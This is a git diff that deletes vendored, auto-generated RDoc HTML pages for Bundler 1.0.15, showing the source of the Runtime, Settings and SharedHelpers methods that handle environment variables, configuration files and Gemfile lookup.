-35:         <span class="ruby-identifier">$LOAD_PATH</span>.<span class="ruby-identifier">unshift</span>(*<span class="ruby-identifier">load_paths</span>)
-36:       <span class="ruby-keyword kw">end</span>
-37: 
-38:       <span class="ruby-identifier">lock</span>
-39: 
-40:       <span class="ruby-keyword kw">self</span>
-41:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-	
-		<div id="private-instance-method-details" class="method-section section">
-			<h3 class="section-header">Private Instance Methods</h3>
-
-		
-			<div id="cache-path-method" class="method-detail ">
-				<a name="method-i-cache_path"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">cache_path</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="cache-path-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/runtime.rb, line 124</span>
-124:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">cache_path</span>
-125:       <span class="ruby-identifier">root</span>.<span class="ruby-identifier">join</span>(<span class="ruby-value str">&quot;vendor/cache&quot;</span>)
-126:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="setup-environment-method" class="method-detail ">
-				<a name="method-i-setup_environment"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">setup_environment</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="setup-environment-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/runtime.rb, line 128</span>
-128:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">setup_environment</span>
-129:       <span class="ruby-keyword kw">begin</span>
-130:         <span class="ruby-constant">ENV</span>[<span class="ruby-value str">&quot;BUNDLE_BIN_PATH&quot;</span>] = <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">rubygems</span>.<span class="ruby-identifier">bin_path</span>(<span class="ruby-value str">&quot;bundler&quot;</span>, <span class="ruby-value str">&quot;bundle&quot;</span>, <span class="ruby-constant">VERSION</span>)
-131:       <span class="ruby-keyword kw">rescue</span> <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">GemNotFoundException</span>
-132:         <span class="ruby-constant">ENV</span>[<span class="ruby-value str">&quot;BUNDLE_BIN_PATH&quot;</span>] = <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-value str">&quot;../../../bin/bundle&quot;</span>, <span class="ruby-keyword kw">__FILE__</span>)
-133:       <span class="ruby-keyword kw">end</span>
-134: 
-135:       <span class="ruby-comment cmt"># Set PATH</span>
-136:       <span class="ruby-identifier">paths</span> = (<span class="ruby-constant">ENV</span>[<span class="ruby-value str">&quot;PATH&quot;</span>] <span class="ruby-operator">||</span> <span class="ruby-value str">&quot;&quot;</span>).<span class="ruby-identifier">split</span>(<span class="ruby-constant">File</span><span class="ruby-operator">::</span><span class="ruby-constant">PATH_SEPARATOR</span>)
-137:       <span class="ruby-identifier">paths</span>.<span class="ruby-identifier">unshift</span> <span class="ruby-node">&quot;#{Bundler.bundle_path}/bin&quot;</span>
-138:       <span class="ruby-constant">ENV</span>[<span class="ruby-value str">&quot;PATH&quot;</span>] = <span class="ruby-identifier">paths</span>.<span class="ruby-identifier">uniq</span>.<span class="ruby-identifier">join</span>(<span class="ruby-constant">File</span><span class="ruby-operator">::</span><span class="ruby-constant">PATH_SEPARATOR</span>)
-139: 
-140:       <span class="ruby-comment cmt"># Set BUNDLE_GEMFILE</span>
-141:       <span class="ruby-constant">ENV</span>[<span class="ruby-value str">&quot;BUNDLE_GEMFILE&quot;</span>] = <span class="ruby-identifier">default_gemfile</span>.<span class="ruby-identifier">to_s</span>
-142: 
-143:       <span class="ruby-comment cmt"># Set RUBYOPT</span>
-144:       <span class="ruby-identifier">rubyopt</span> = [<span class="ruby-constant">ENV</span>[<span class="ruby-value str">&quot;RUBYOPT&quot;</span>]].<span class="ruby-identifier">compact</span>
-145:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">rubyopt</span>.<span class="ruby-identifier">empty?</span> <span class="ruby-operator">||</span> <span class="ruby-identifier">rubyopt</span>.<span class="ruby-identifier">first</span> <span class="ruby-operator">!~</span> <span class="ruby-regexp re">/-rbundler\/setup/</span>
-146:         <span class="ruby-identifier">rubyopt</span>.<span class="ruby-identifier">unshift</span> <span class="ruby-value str">&quot;-rbundler/setup&quot;</span>
-147:         <span class="ruby-identifier">rubyopt</span>.<span class="ruby-identifier">unshift</span> <span class="ruby-node">&quot;-I#{File.expand_path('../..', __FILE__)}&quot;</span>
-148:         <span class="ruby-constant">ENV</span>[<span class="ruby-value str">&quot;RUBYOPT&quot;</span>] = <span class="ruby-identifier">rubyopt</span>.<span class="ruby-identifier">join</span>(<span class="ruby-value str">' '</span>)
-149:       <span class="ruby-keyword kw">end</span>
-150:     <span class="ruby-keyword kw">end</span></pre>
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-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
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-		<!-- Constants -->
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-				<a name="method-c-new"></a>
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-   <span class="ruby-comment cmt"># File lib/bundler/settings.rb, line 3</span>
-3:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">root</span>)
-4:       <span class="ruby-ivar">@root</span>   = <span class="ruby-identifier">root</span>
-5:       <span class="ruby-ivar">@local_config</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">exist?</span>(<span class="ruby-identifier">local_config_file</span>) <span class="ruby-operator">?</span> <span class="ruby-constant">YAML</span>.<span class="ruby-identifier">load_file</span>(<span class="ruby-identifier">local_config_file</span>) <span class="ruby-operator">:</span> {}
-6:       <span class="ruby-ivar">@global_config</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">exist?</span>(<span class="ruby-identifier">global_config_file</span>) <span class="ruby-operator">?</span> <span class="ruby-constant">YAML</span>.<span class="ruby-identifier">load_file</span>(<span class="ruby-identifier">global_config_file</span>) <span class="ruby-operator">:</span> {}
-7:     <span class="ruby-keyword kw">end</span></pre>
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-					<span class="method-name">[]</span><span
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-    <span class="ruby-comment cmt"># File lib/bundler/settings.rb, line 9</span>
- 9:     <span class="ruby-keyword kw">def</span> <span class="ruby-operator">[]</span>(<span class="ruby-identifier">key</span>)
-10:       <span class="ruby-identifier">key</span> = <span class="ruby-identifier">key_for</span>(<span class="ruby-identifier">key</span>)
-11:       <span class="ruby-ivar">@local_config</span>[<span class="ruby-identifier">key</span>] <span class="ruby-operator">||</span> <span class="ruby-constant">ENV</span>[<span class="ruby-identifier">key</span>] <span class="ruby-operator">||</span> <span class="ruby-ivar">@global_config</span>[<span class="ruby-identifier">key</span>]
-12:     <span class="ruby-keyword kw">end</span></pre>
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-						class="method-args">(key, value)</span>
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-    <span class="ruby-comment cmt"># File lib/bundler/settings.rb, line 14</span>
-14:     <span class="ruby-keyword kw">def</span> <span class="ruby-operator">[]=</span>(<span class="ruby-identifier">key</span>, <span class="ruby-identifier">value</span>)
-15:       <span class="ruby-identifier">set_key</span>(<span class="ruby-identifier">key</span>, <span class="ruby-identifier">value</span>, <span class="ruby-ivar">@local_config</span>, <span class="ruby-identifier">local_config_file</span>)
-16:     <span class="ruby-keyword kw">end</span></pre>
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-					<span class="method-name">all</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
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-    <span class="ruby-comment cmt"># File lib/bundler/settings.rb, line 26</span>
-26:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">all</span>
-27:       <span class="ruby-identifier">env_keys</span> = <span class="ruby-constant">ENV</span>.<span class="ruby-identifier">keys</span>.<span class="ruby-identifier">select</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">k</span><span class="ruby-operator">|</span> <span class="ruby-identifier">k</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp re">/BUNDLE_.*/</span> }
-28:       <span class="ruby-identifier">keys</span> = <span class="ruby-ivar">@global_config</span>.<span class="ruby-identifier">keys</span> <span class="ruby-operator">|</span> <span class="ruby-ivar">@local_config</span>.<span class="ruby-identifier">keys</span> <span class="ruby-operator">|</span> <span class="ruby-identifier">env_keys</span>
-29: 
-30:       <span class="ruby-identifier">keys</span>.<span class="ruby-identifier">map</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">key</span><span class="ruby-operator">|</span>
-31:         <span class="ruby-identifier">key</span>.<span class="ruby-identifier">sub</span>(<span class="ruby-regexp re">/^BUNDLE_/</span>, <span class="ruby-value str">''</span>).<span class="ruby-identifier">gsub</span>(<span class="ruby-regexp re">/__/</span>, <span class="ruby-value str">&quot;.&quot;</span>).<span class="ruby-identifier">downcase</span>
-32:       <span class="ruby-keyword kw">end</span>
-33:     <span class="ruby-keyword kw">end</span></pre>
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-					<span class="method-name">allow_sudo?</span><span
-						class="method-args">()</span>
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-    <span class="ruby-comment cmt"># File lib/bundler/settings.rb, line 86</span>
-86:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">allow_sudo?</span>
-87:       <span class="ruby-operator">!</span><span class="ruby-ivar">@local_config</span>.<span class="ruby-identifier">key?</span>(<span class="ruby-identifier">key_for</span>(<span class="ruby-value">:path</span>))
-88:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-
-		
-			<div id="delete-method" class="method-detail ">
-				<a name="method-i-delete"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">delete</span><span
-						class="method-args">(key)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
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-					<div class="method-source-code"
-						id="delete-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/settings.rb, line 18</span>
-18:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">delete</span>(<span class="ruby-identifier">key</span>)
-19:       <span class="ruby-ivar">@local_config</span>.<span class="ruby-identifier">delete</span>(<span class="ruby-identifier">key_for</span>(<span class="ruby-identifier">key</span>))
-20:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-			</div>
-
-		
-			<div id="locations-method" class="method-detail ">
-				<a name="method-i-locations"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">locations</span><span
-						class="method-args">(key)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
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-					
-					<div class="method-source-code"
-						id="locations-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/settings.rb, line 35</span>
-35:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">locations</span>(<span class="ruby-identifier">key</span>)
-36:       <span class="ruby-identifier">locations</span> = {}
-37: 
-38:       <span class="ruby-identifier">locations</span>[<span class="ruby-value">:local</span>]  = <span class="ruby-ivar">@local_config</span>[<span class="ruby-identifier">key</span>] <span class="ruby-keyword kw">if</span> <span class="ruby-ivar">@local_config</span>.<span class="ruby-identifier">key?</span>(<span class="ruby-identifier">key</span>)
-39:       <span class="ruby-identifier">locations</span>[<span class="ruby-value">:env</span>]    = <span class="ruby-constant">ENV</span>[<span class="ruby-identifier">key</span>] <span class="ruby-keyword kw">if</span> <span class="ruby-constant">ENV</span>[<span class="ruby-identifier">key</span>]
-40:       <span class="ruby-identifier">locations</span>[<span class="ruby-value">:global</span>] = <span class="ruby-ivar">@global_config</span>[<span class="ruby-identifier">key</span>] <span class="ruby-keyword kw">if</span> <span class="ruby-ivar">@global_config</span>.<span class="ruby-identifier">key?</span>(<span class="ruby-identifier">key</span>)
-41:       <span class="ruby-identifier">locations</span>
-42:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-
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-			</div>
-
-		
-			<div id="path-method" class="method-detail ">
-				<a name="method-i-path"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">path</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-@local_config[&#8220;BUNDLE_PATH&#8220;] should be prioritized over
-ENV[&#8220;BUNDLE_PATH&#8220;]
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="path-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/settings.rb, line 75</span>
-75:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">path</span>
-76:       <span class="ruby-identifier">path</span> = <span class="ruby-constant">ENV</span>[<span class="ruby-identifier">key_for</span>(<span class="ruby-value">:path</span>)] <span class="ruby-operator">||</span> <span class="ruby-ivar">@global_config</span>[<span class="ruby-identifier">key_for</span>(<span class="ruby-value">:path</span>)]
-77:       <span class="ruby-keyword kw">return</span> <span class="ruby-identifier">path</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">path</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-operator">!</span><span class="ruby-ivar">@local_config</span>.<span class="ruby-identifier">key?</span>(<span class="ruby-identifier">key_for</span>(<span class="ruby-value">:path</span>))
-78: 
-79:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">path</span> = <span class="ruby-keyword kw">self</span>[<span class="ruby-value">:path</span>]
-80:         <span class="ruby-node">&quot;#{path}/#{Bundler.ruby_scope}&quot;</span>
-81:       <span class="ruby-keyword kw">else</span>
-82:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">rubygems</span>.<span class="ruby-identifier">gem_dir</span>
-83:       <span class="ruby-keyword kw">end</span>
-84:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="pretty-values-for-method" class="method-detail ">
-				<a name="method-i-pretty_values_for"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">pretty_values_for</span><span
-						class="method-args">(exposed_key)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="pretty-values-for-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/settings.rb, line 44</span>
-44:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">pretty_values_for</span>(<span class="ruby-identifier">exposed_key</span>)
-45:       <span class="ruby-identifier">key</span> = <span class="ruby-identifier">key_for</span>(<span class="ruby-identifier">exposed_key</span>)
-46: 
-47:       <span class="ruby-identifier">locations</span> = []
-48:       <span class="ruby-keyword kw">if</span> <span class="ruby-ivar">@local_config</span>.<span class="ruby-identifier">key?</span>(<span class="ruby-identifier">key</span>)
-49:         <span class="ruby-identifier">locations</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot;Set for your local app (#{local_config_file}): #{@local_config[key].inspect}&quot;</span>
-50:       <span class="ruby-keyword kw">end</span>
-51: 
-52:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">value</span> = <span class="ruby-constant">ENV</span>[<span class="ruby-identifier">key</span>]
-53:         <span class="ruby-identifier">locations</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot;Set via #{key}: #{value.inspect}&quot;</span>
-54:       <span class="ruby-keyword kw">end</span>
-55: 
-56:       <span class="ruby-keyword kw">if</span> <span class="ruby-ivar">@global_config</span>.<span class="ruby-identifier">key?</span>(<span class="ruby-identifier">key</span>)
-57:         <span class="ruby-identifier">locations</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot;Set for the current user (#{global_config_file}): #{@global_config[key].inspect}&quot;</span>
-58:       <span class="ruby-keyword kw">end</span>
-59: 
-60:       <span class="ruby-keyword kw">return</span> [<span class="ruby-node">&quot;You have not configured a value for `#{exposed_key}`&quot;</span>] <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">locations</span>.<span class="ruby-identifier">empty?</span>
-61:       <span class="ruby-identifier">locations</span>
-62:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="set-global-method" class="method-detail ">
-				<a name="method-i-set_global"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">set_global</span><span
-						class="method-args">(key, value)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="set-global-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/settings.rb, line 22</span>
-22:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">set_global</span>(<span class="ruby-identifier">key</span>, <span class="ruby-identifier">value</span>)
-23:       <span class="ruby-identifier">set_key</span>(<span class="ruby-identifier">key</span>, <span class="ruby-identifier">value</span>, <span class="ruby-ivar">@global_config</span>, <span class="ruby-identifier">global_config_file</span>)
-24:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="without-method" class="method-detail ">
-				<a name="method-i-without"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">without</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="without-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/settings.rb, line 70</span>
-70:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">without</span>
-71:       <span class="ruby-keyword kw">self</span>[<span class="ruby-value">:without</span>] <span class="ruby-operator">?</span> <span class="ruby-keyword kw">self</span>[<span class="ruby-value">:without</span>].<span class="ruby-identifier">split</span>(<span class="ruby-value str">&quot;:&quot;</span>).<span class="ruby-identifier">map</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">w</span><span class="ruby-operator">|</span> <span class="ruby-identifier">w</span>.<span class="ruby-identifier">to_sym</span> } <span class="ruby-operator">:</span> []
-72:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="without--method" class="method-detail ">
-				<a name="method-i-without%3D"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">without=</span><span
-						class="method-args">(array)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="without--source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/settings.rb, line 64</span>
-64:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">without=</span>(<span class="ruby-identifier">array</span>)
-65:       <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">array</span>.<span class="ruby-identifier">empty?</span>
-66:         <span class="ruby-keyword kw">self</span>[<span class="ruby-value">:without</span>] = <span class="ruby-identifier">array</span>.<span class="ruby-identifier">join</span>(<span class="ruby-value str">&quot;:&quot;</span>)
-67:       <span class="ruby-keyword kw">end</span>
-68:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-		</div>
-	
-		<div id="private-instance-method-details" class="method-section section">
-			<h3 class="section-header">Private Instance Methods</h3>
-
-		
-			<div id="global-config-file-method" class="method-detail ">
-				<a name="method-i-global_config_file"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">global_config_file</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="global-config-file-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/settings.rb, line 108</span>
-108:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">global_config_file</span>
-109:       <span class="ruby-identifier">file</span> = <span class="ruby-constant">ENV</span>[<span class="ruby-value str">&quot;BUNDLE_CONFIG&quot;</span>] <span class="ruby-operator">||</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">rubygems</span>.<span class="ruby-identifier">user_home</span>, <span class="ruby-value str">&quot;.bundle/config&quot;</span>)
-110:       <span class="ruby-constant">Pathname</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">file</span>)
-111:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="key-for-method" class="method-detail ">
-				<a name="method-i-key_for"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">key_for</span><span
-						class="method-args">(key)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="key-for-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/settings.rb, line 91</span>
-91:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">key_for</span>(<span class="ruby-identifier">key</span>)
-92:       <span class="ruby-identifier">key</span> = <span class="ruby-identifier">key</span>.<span class="ruby-identifier">to_s</span>.<span class="ruby-identifier">sub</span>(<span class="ruby-value str">&quot;.&quot;</span>, <span class="ruby-value str">&quot;__&quot;</span>).<span class="ruby-identifier">upcase</span>
-93:       <span class="ruby-node">&quot;BUNDLE_#{key}&quot;</span>
-94:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="local-config-file-method" class="method-detail ">
-				<a name="method-i-local_config_file"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">local_config_file</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="local-config-file-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/settings.rb, line 113</span>
-113:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">local_config_file</span>
-114:       <span class="ruby-constant">Pathname</span>.<span class="ruby-identifier">new</span>(<span class="ruby-node">&quot;#{@root}/config&quot;</span>)
-115:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="set-key-method" class="method-detail ">
-				<a name="method-i-set_key"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">set_key</span><span
-						class="method-args">(key, value, hash, file)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="set-key-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/settings.rb, line 96</span>
- 96:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">set_key</span>(<span class="ruby-identifier">key</span>, <span class="ruby-identifier">value</span>, <span class="ruby-identifier">hash</span>, <span class="ruby-identifier">file</span>)
- 97:       <span class="ruby-identifier">key</span> = <span class="ruby-identifier">key_for</span>(<span class="ruby-identifier">key</span>)
- 98: 
- 99:       <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">hash</span>[<span class="ruby-identifier">key</span>] <span class="ruby-operator">==</span> <span class="ruby-identifier">value</span>
-100:         <span class="ruby-identifier">hash</span>[<span class="ruby-identifier">key</span>] = <span class="ruby-identifier">value</span>
-101:         <span class="ruby-identifier">hash</span>.<span class="ruby-identifier">delete</span>(<span class="ruby-identifier">key</span>) <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">value</span>.<span class="ruby-identifier">nil?</span>
-102:         <span class="ruby-constant">FileUtils</span>.<span class="ruby-identifier">mkdir_p</span>(<span class="ruby-identifier">file</span>.<span class="ruby-identifier">dirname</span>)
-103:         <span class="ruby-constant">File</span>.<span class="ruby-identifier">open</span>(<span class="ruby-identifier">file</span>, <span class="ruby-value str">&quot;w&quot;</span>) { <span class="ruby-operator">|</span><span class="ruby-identifier">f</span><span class="ruby-operator">|</span> <span class="ruby-identifier">f</span>.<span class="ruby-identifier">puts</span> <span class="ruby-identifier">hash</span>.<span class="ruby-identifier">to_yaml</span> }
-104:       <span class="ruby-keyword kw">end</span>
-105:       <span class="ruby-identifier">value</span>
-106:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-	
-		<p>Disabled; run with --debug to generate this.</p>
-	
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
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-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/SharedHelpers.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/SharedHelpers.html
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--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/SharedHelpers.html
+++ /dev/null
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-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>Module: Bundler::SharedHelpers</title>
-
-	<link rel="stylesheet" href="../rdoc.css" type="text/css" media="screen" />
-
-	<script src="../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/darkfish.js" type="text/javascript"
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-
-</head>
-<body class="module">
-
-	<div id="metadata">
-		<div id="home-metadata">
-			<div id="home-section" class="section">
-        <h3 class="section-header">
-          <a href="../index.html">Home</a>
-          <a href="../index.html#classes">Classes</a>
-          <a href="../index.html#methods">Methods</a>
-        </h3>
-			</div>
-		</div>
-
-		<div id="file-metadata">
-			<div id="file-list-section" class="section">
-				<h3 class="section-header">In Files</h3>
-				<div class="section-body">
-					<ul>
-					
-						<li><a href="../lib/bundler/shared_helpers_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/shared_helpers.rb">lib/bundler/shared_helpers.rb</a></li>
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-		<div id="class-metadata">
-
-			<!-- Parent Class -->
-			
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-			<!-- Namespace Contents -->
-			
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-			<!-- Method Quickref -->
-			
-			<div id="method-list-section" class="section">
-				<h3 class="section-header">Methods</h3>
-				<ul class="link-list">
-					
-					<li><a href="#method-i-clean_load_path">#clean_load_path</a></li>
-					
-					<li><a href="#method-i-default_gemfile">#default_gemfile</a></li>
-					
-					<li><a href="#method-i-default_lockfile">#default_lockfile</a></li>
-					
-					<li><a href="#method-i-find_gemfile">#find_gemfile</a></li>
-					
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-		<h1 class="module">Bundler::SharedHelpers</h1>
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-			
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-
-		<!-- Constants -->
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-		<!-- Attributes -->
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-			<h3 class="section-header">Attributes</h3>
-
-			
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-				<a name="gem_loaded"></a>
-				
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-				
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-					<span class="method-name">gem_loaded</span><span
-						class="attribute-access-type">[RW]</span>
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-		<div id="public-instance-method-details" class="method-section section">
-			<h3 class="section-header">Public Instance Methods</h3>
-
-		
-			<div id="default-gemfile-method" class="method-detail ">
-				<a name="method-i-default_gemfile"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">default_gemfile</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
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-				<div class="method-description">
-					
-					
-					
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-					<div class="method-source-code"
-						id="default-gemfile-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/shared_helpers.rb, line 20</span>
-20:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">default_gemfile</span>
-21:       <span class="ruby-identifier">gemfile</span> = <span class="ruby-identifier">find_gemfile</span>
-22:       <span class="ruby-identifier">raise</span> <span class="ruby-constant">GemfileNotFound</span>, <span class="ruby-value str">&quot;Could not locate Gemfile&quot;</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">gemfile</span>
-23:       <span class="ruby-constant">Pathname</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">gemfile</span>)
-24:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-				<a name="method-i-default_lockfile"></a>
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-					<span class="method-name">default_lockfile</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
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-				</div>
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-				<div class="method-description">
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-						id="default-lockfile-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/shared_helpers.rb, line 26</span>
-26:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">default_lockfile</span>
-27:       <span class="ruby-constant">Pathname</span>.<span class="ruby-identifier">new</span>(<span class="ruby-node">&quot;#{default_gemfile}.lock&quot;</span>)
-28:     <span class="ruby-keyword kw">end</span></pre>
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-				<a name="method-i-in_bundle%3F"></a>
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-				<div class="method-heading">
-				
-					<span class="method-name">in_bundle?</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
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-						id="in-bundle--source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/shared_helpers.rb, line 30</span>
-30:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">in_bundle?</span>
-31:       <span class="ruby-identifier">find_gemfile</span>
-32:     <span class="ruby-keyword kw">end</span></pre>
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-			<h3 class="section-header">Private Instance Methods</h3>
-
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-			<div id="clean-load-path-method" class="method-detail ">
-				<a name="method-i-clean_load_path"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">clean_load_path</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
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-				</div>
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-				<div class="method-description">
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-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/shared_helpers.rb, line 56</span>
